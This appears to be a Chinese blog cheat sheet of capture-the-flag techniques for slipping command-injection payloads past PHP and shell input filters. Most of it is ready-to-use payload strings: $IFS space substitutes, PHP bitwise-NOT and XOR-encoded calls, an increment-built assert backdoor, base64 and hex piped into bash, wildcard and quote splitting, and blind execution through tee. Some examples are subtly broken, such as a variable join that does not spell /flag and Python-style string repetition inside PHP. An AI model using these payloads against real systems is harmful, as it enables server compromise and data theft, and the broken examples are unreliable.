RCE绕过方式

1.空格绕过

cat /flag

$IFS等价空格

a=/fl;b=ag;cat$IFS$b$b

以下可代替空格

<

<>

%20(即space)

%09(即tab)

$IFS$9

${IFS}

$IFS

{cat,/flag}

2.管道符

管道符

实例

描述

;

A;B

无论真假,A与B都执行

&

A&B

无论真假,A与B都执行

&&

A&&B

A为真时才执行B,否则只执行A

|

A|B

显示B的执行结果

||

A||B

A为假时才执行B,否则只执行A

3.反斜杠\绕过

//如cat、ls被过滤,使用\绕过

c\at /flag

l\s /

4.取反绕过

//取反传参

<?php

$a = "system";

$b = "cat /flag";

$c = urlencode(~$a);

$d = urlencode(~$b);

//输出得到取反传参内容

echo "?cmd=(~".$c.")(~".$d.")";

?>

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98)  //system cat /flag

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F) //system cat flag.php

5.异或绕过 

//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();

<?php

show_source(__FILE__);

$mess=$_POST['mess'];

if(preg_match("/[a-zA-Z]/",$mess)){

    die("invalid input!");

}

eval($mess);

//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"

mess=$_="0302181"^"@[@[_^^";$_();

5.自增绕过

//自增payload,assert($_POST[_]),命令传入_

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

6.黑名单绕过

//变量拼接,如flag被过滤

将:

cat /flag

替换为:

b=ag;cat /fl$b

//读取根目录

eval(var_dump(scandir('/'););

//读flag

eval(var_dump(file_get_contents($_POST['a'])););&a=/flag

//等效于打开ls目录下的文件

cat `ls`

//_被过滤,php8以下,变量名中的第一个非法字符[会被替换为下划线_

N[S.S等效于N_S.S

php需要接收e_v.a.l参数,给e[v.a.l传参即可

//php标签绕过

?><?= phpinfo(); ?>

7.base和hex编码绕过

//base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令

`echo Y2F0IC9mbGFn | base64 -d`

echo Y2F0IC9mbGFn | base64 -d | bash

$(echo Y2F0IC9mbGFn | base64 -d)

//hex编码绕过,编码cat /flag,| bash用于执行系统命令

echo '636174202f666c6167' | xxd -r -p | bash

//shellcode编码

//十六进制编码

8.正则匹配绕过

//如flag被过滤

cat /f???

cat /fl*

cat /f[a-z]{3}

9.引号绕过

//如cat、ls被过滤

ca""t /flag

l's' /

10.cat替换命令

more

less

cat

tac

head

tail

vi

vim

nl

od

sort

uniq

tac

与cat相反,按行反向输出

more

按页显示,用于文件内容较多且不能滚动屏幕时查看文件

less

与more类似

tail

查看文件末几行

head

查看文件首几行

nl

在cat查看文件的基础上显示行号

od

以二进制方式读文件,od -A d -c /flag转人可读字符

xxd

以二进制方式读文件,同时有可读字符显示

sort

排序文件

uniq

报告或删除文件的重复行

file -f

报错文件内容

grep

过滤查找字符串,grep flag /flag

11.回溯绕过

//php正则的回溯次数大于1000000次时返回False

$a = 'hello world'+'h'*1000000

preg_match("/hello.*world/is",$a) == False

12.无回显RCE

//无回显RCE,如exce()函数,可将执行结果输出到文件再访问文件执行以下命令后访问1.txt即可

ls / | tee 1.txt

cat /flag | tee 2.txt

//eval()无输出

eval(print`c\at /flag`;)

13.无参数RCE

   利用getallheaders()、get_defined_vars()、session_id等;

14.无字母数字RCE

   异或、取反、自增、临时文件上传;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值